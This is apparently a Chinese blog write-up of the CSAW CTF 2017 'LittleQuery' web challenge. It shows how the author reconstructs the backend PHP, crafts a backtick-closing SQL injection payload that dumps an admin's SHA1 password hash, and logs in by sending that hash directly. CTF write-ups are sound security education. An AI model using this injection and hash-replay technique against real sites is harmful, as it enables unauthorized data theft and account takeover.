Chybeta

CSAW CTF 2017-LittleQuery-writeup

CSAW CTF 2017-LittleQuery-writeup
SQL注入漏洞

Task

1
2
3
LittleQuery
I've got a new website for BIG DATA analytics!
http://littlequery.chal.csaw.io

Solution

先看看功能.
有一个登陆点: http://littlequery.chal.csaw.io/login.php

有一些敏感目录:http://littlequery.chal.csaw.io/js/
其中login.js:

1
2
3
4
$(".form-signin").submit(function () {
var $password = $(this).find("input[type=password]");
$password.val(CryptoJS.SHA1($password.val()).toString());
});

query.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var codeMirror = CodeMirror.fromTextArea(document.getElementById('editor'), {
lineNumbers: true,
matchBrackets: true,
mode: 'javascript',
});
$('#submit').click(function() {
$('#submit').addClass('disabled');
$('#spinner').removeClass('invisible');
$('#output').text('');
$.post('/query.php',
{
'code': codeMirror.getValue(),
},
function (output) {
$('#output').text(output);
$('#submit').removeClass('disabled');
$('#spinner').addClass('invisible');
}
);
});

查看源代码,发现有注释:

同时由robots.txt,也能发现该页面: http://littlequery.chal.csaw.io/api/db_explore.php

若要preview ,会要求提供dbtable参数。

所以先一步一步的“schema”。
http://littlequery.chal.csaw.io/api/db_explore.php?mode=schema

http://littlequery.chal.csaw.io/api/db_explore.php?mode=schema&db=littlequery

http://littlequery.chal.csaw.io/api/db_explore.php?mode=schema&db=littlequery&table=user

db和table都知道了,接着尝试一下preview: http://littlequery.chal.csaw.io/api/db_explore.php?mode=preview&db=littlequery&table=user

不能直接显示。考虑到这是数据库的操作,可能会存在sql注入漏洞。尝试访问:http://littlequery.chal.csaw.io/api/db_explore.php?mode=preview&db=littlequery'&table=user

可以看到单引号被加上了斜杠,同时知道是用反引号闭合的。根据上面两次操作,我们推测服务器后端大概是这样写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
...
$mode = $_GET['mode'];
$db = isset($_GET['db'])? addslashes($_GET['db']):'';
$table = isset($_GET['table'])? addslashes($_GET['table']):'';
if ($mode == 'preview'){
if ($db && $table){
if ($db === 'littlequery')
die("Database 'littlequery' is not allowed to be previewed.");
$sql = "select * from `$db`.`$table`";
db->query($sql);
} else {
echo "Must provide db and table to preview data";
}
}
...

目的是要查出 littlequery.user 中的数据,所以利用反引号闭合,传入的db参数为:littlequery`.`user`%23table参数随意,比如字母a。则传入后构造出来的sql语句为:

1
select * from `littlequery`.`user`%23`.`a`

则在%23后的将会被注释掉,同时又能过掉服务器端关于$db === 'littlequery'的检测。

1
[{"uid":"1","username":"admin","password":"5896e92d38ee883cc09ad6f88df4934f6b074cf8"}]

回到 http://littlequery.chal.csaw.io/login.php ,直接登陆失败。看一下前面的login.js,会先把输入的密码进行一次CryptoJS.SHA1加密后再发送。而我们注出来的密码应该是原密码经过CryptoJS.SHA1加密后的结果,应该所以应该先抓包,修改password为”5896…”

出现了302跳转,follow:

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:CSAW CTF 2017-LittleQuery-writeup

文章作者:chybeta

发布时间:2017年09月18日 - 13:09

最后更新:2017年09月18日 - 21:09

原始链接:http://chybeta.github.io/2017/09/18/CSAW-CTF-2017-LittleQuery-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。